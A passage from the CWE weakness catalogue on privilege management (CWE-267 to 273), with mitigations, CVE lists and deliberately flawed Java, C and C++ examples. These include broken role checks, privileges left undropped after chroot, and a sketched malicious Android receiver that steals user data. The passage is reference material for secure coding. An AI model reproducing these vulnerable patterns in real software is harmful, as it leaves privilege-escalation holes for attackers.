Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Demonstrative Examples

**Example 1:**

Evidence of privilege change:

*Example Language: C* *(bad)*

```
seteuid(0); /* do some stuff */ seteuid(getuid());
```

*Example Language: Java* *(bad)*

```
AccessController.doPrivileged(new PrivilegedAction() { public Object run() { // privileged code goes here, for example:  
System.loadLibrary("awt");return null; // nothing to return }
```

**Example 2:**

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java

(bad)

```
Intent intent = new
Intent();intent.setAction("com.example.BackupUserData");intent.setData(file_uri);intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION
```

Example Language: Java

(attack)

```
public class CallReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Uri
userData = intent.getData();stealUserData(userData);}}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

## Observed Examples

## CWE-267: Privilege Defined With Unsafe Actions

<b>Weakness ID</b> : 267	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	560
ParentOf		623	Unsafe ActiveX Control Marked Safe For Scripting	1155

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege / Sandbox Issues	1541
ParentOf		623	Unsafe ActiveX Control Marked Safe For Scripting	1155

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Demonstrative Examples

### Example 1:

This code intends to allow only Administrators to print debug information about a system.

*Example Language: Java*

*(bad)*

```
public enum Roles {ADMIN,USER,GUEST} public void printDebugInfo(User requestingUser)
{ if(isAuthenticated(requestingUser)){ switch(requestingUser.role){ case GUEST:System.out.println("You are not authorized
to perform this command");break; default:System.out.println(currentDebugState());break; } }else{System.out.println("You
must be logged in to perform this command");}}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

## Observed Examples

Reference	Description
<b>CVE-2002-1981</b>	Roles have access to dangerous procedures (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981</a>
<b>CVE-2002-1671</b>	Untrusted object/method gets access to clipboard (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671</a>
<b>CVE-2004-2204</b>	Gain privileges using functions/tags that should be restricted (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2204">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2204</a>
<b>CVE-2000-0315</b>	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315</a>
<b>CVE-2004-0380</b>	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0380">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0380</a>
<b>CVE-2002-1154</b>	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154</a>
<b>CVE-2002-1145</b>	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1145">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1145</a>
<b>CVE-2000-0506</b>	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506</a>
<b>CVE-2002-2042</b>	Allows attachment to and modification of privileged processes (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2042">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2042</a>
<b>CVE-2000-1212</b>	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1212">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1212</a>
<b>CVE-2005-1742</b>	Inappropriate actions allowed by a particular role(Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1742">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1742</a>
<b>CVE-2001-1480</b>	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1480">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1480</a>
<b>CVE-2001-1551</b>	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1551">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1551</a>
<b>CVE-2001-1166</b>	User with debugging rights can read entire process (Unsafe privileged actions).

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1166">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1166</a>
<b>CVE-2005-1816</b>	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1816">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1816</a>
<b>CVE-2005-2173</b>	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2173">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2173</a>
<b>CVE-2005-2027</b>	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2027">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2027</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

### Notes

#### Maintenance

This overlaps authorization and access control problems.

#### Maintenance

Note: there are 2 separate sub-categories here: - privilege incorrectly allows entities to perform certain actions - object is incorrectly accessible to entities with a given privilege

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unsafe Privilege

## CWE-268: Privilege Chaining

<b>Weakness ID</b> : 268	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	560

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege / Sandbox Issues	1541

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Demonstrative Examples

#### Example 1:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Example Language: Java

(bad)

```
public enum Roles {ADMIN,OPERATOR,USER,GUEST} public void resetPassword(User requestingUser, User user, String password ){ if(isAuthenticated(requestingUser)){ switch(requestingUser.role){ case GUEST:System.out.println("You are not authorized to perform this command");break; case USER:System.out.println("You are not authorized to perform this command");break; default:setPassword(user,password);break;} } else{System.out.println("You must be logged in to perform this command");} }
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

### Observed Examples

Reference	Description
<b>CVE-2005-1736</b>	Chaining of user rights. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1736">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1736</a>
<b>CVE-2002-1772</b>	Gain certain rights via privilege chaining in alternate channel. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1772">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1772</a>
<b>CVE-2005-1973</b>	Application is allowed to assign extra permissions to itself. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1973">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1973</a>
<b>CVE-2003-0640</b>	"operator" user can overwrite usernames and passwords to gain admin privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0640">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0640</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control		1563
MemberOf		884	CWE Cross-section		1681
MemberOf		901	SFP Primary Cluster: Privilege		1613

### Notes

#### Relationship

There is some conceptual overlap with Unsafe Privilege.

#### Research Gap

It is difficult to find good examples for this weakness.

## CWE-269: Improper Privilege Management

<b>Weakness ID</b> : 269	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

#### Observed Examples

Reference	Description
<b>CVE-2001-1555</b>	Terminal privileges are not reset when a user logs out. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1555">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1555</a>
<b>CVE-2001-1514</b>	Does not properly pass security context to child processes in certain cases, allows privilege escalation. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1514">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1514</a>
<b>CVE-2001-0128</b>	Does not properly compute roles. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0128">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0128</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

#### Notes

##### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

## CWE-271: Privilege Dropping / Lowering Errors

<b>Weakness ID</b> : 271	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

### Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege / Sandbox Issues	1541
ParentOf		272	Least Privilege Violation	567
ParentOf		273	Improper Check for Dropped Privileges	571

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i>	
Access Control Non-Repudiation	Gain Privileges or Assume Identity Hide Activities <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Demonstrative Examples

#### Example 1:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

*Example Language: C*

*(bad)*

```
chroot(APP_HOME);chdir("/");FILE* data = fopen(argv[1], "r");...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

### Observed Examples

Reference	Description
<b>CVE-2000-1213</b>	Program does not drop privileges after acquiring the raw socket. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1213</a>
<b>CVE-2001-0559</b>	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0559">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0559</a>
<b>CVE-2001-0787</b>	Does not drop privileges in related groups when lowering privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0787">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0787</a>
<b>CVE-2002-0080</b>	Does not drop privileges in related groups when lowering privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080</a>
<b>CVE-2001-1029</b>	Does not drop privileges before determining access to certain files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1029">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1029</a>
<b>CVE-1999-0813</b>	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0813">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0813</a>

Reference	Description
<b>CVE-1999-1326</b>	FTP server does not drop privileges if a connection is aborted during file transfer. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1326">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1326</a>
<b>CVE-2000-0172</b>	Program only uses seteuid to drop privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0172">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0172</a>
<b>CVE-2004-2504</b>	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2504">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2504</a>
<b>CVE-2004-0213</b>	Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213</a>
<b>CVE-2004-0806</b>	Setuid program does not drop privileges before executing program specified in an environment variable. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0806">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0806</a>
<b>CVE-2004-0828</b>	Setuid program does not drop privileges before processing file specified on command line. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0828">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0828</a>
<b>CVE-2004-2070</b>	Service on Windows does not drop privileges before using "view file" option, allowing code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2070">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2070</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

### Notes

#### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Dropping / Lowering Errors

### References

## CWE-272: Least Privilege Violation

<b>Weakness ID</b> : 272	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	564

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	564

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data Read Files or Directories	
<p><i>An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.</i></p>		

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(bad)*

```
setuid(0); // Do some important stuff setuid(old_uid); // Do some non privileged stuff.
```

*Example Language: Java*

*(bad)*

```
method() { AccessController.doPrivileged(new PrivilegedAction()) { public Object run() { // Insert all code here } }; }
```

### Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access

to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C

(bad)

```
chroot(APP_HOME);chdir("/");FILE* data = fopen(argv[1], "r+");...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1539
MemberOf	C	748	CERT C Secure Coding (2008 Version) Section 50 - POSIX (POS)	734	1579
MemberOf	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1597
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

### Notes

#### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

#### Other

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically. When a program calls a privileged function, such as `chroot()`, it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Least Privilege Violation
CLASP			Failure to drop privileges when reasonable
CERT C Secure Coding	POS02-C		Follow the principle of least privilege

35	Leverage Executable Code in Non-Executable Files
76	Manipulating Web Input to File System Calls

## CWE-273: Improper Check for Dropped Privileges

<b>Weakness ID</b> : 273	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

### Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	564
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1295
PeerOf		252	Unchecked Return Value	529

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	564

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

### Likelihood Of Exploit

Medium

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i>	
Access Control Non-Repudiation	Gain Privileges or Assume Identity Hide Activities  <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i>	

**Potential Mitigations****Phase: Architecture and Design***Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Phase: Implementation**

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

**Phase: Implementation**

In Windows, make sure that the process token has the SeImpersonatePrivilege (Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

**Demonstrative Examples****Example 1:**

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

*Example Language: C++**(bad)*

```
bool DoSecureStuff(HANDLE hPipe) {bool fDataWritten = false;ImpersonateNamedPipeClient(hPipe);HANDLE hFile = CreateFile(...);../RevertToSelf();../}
```

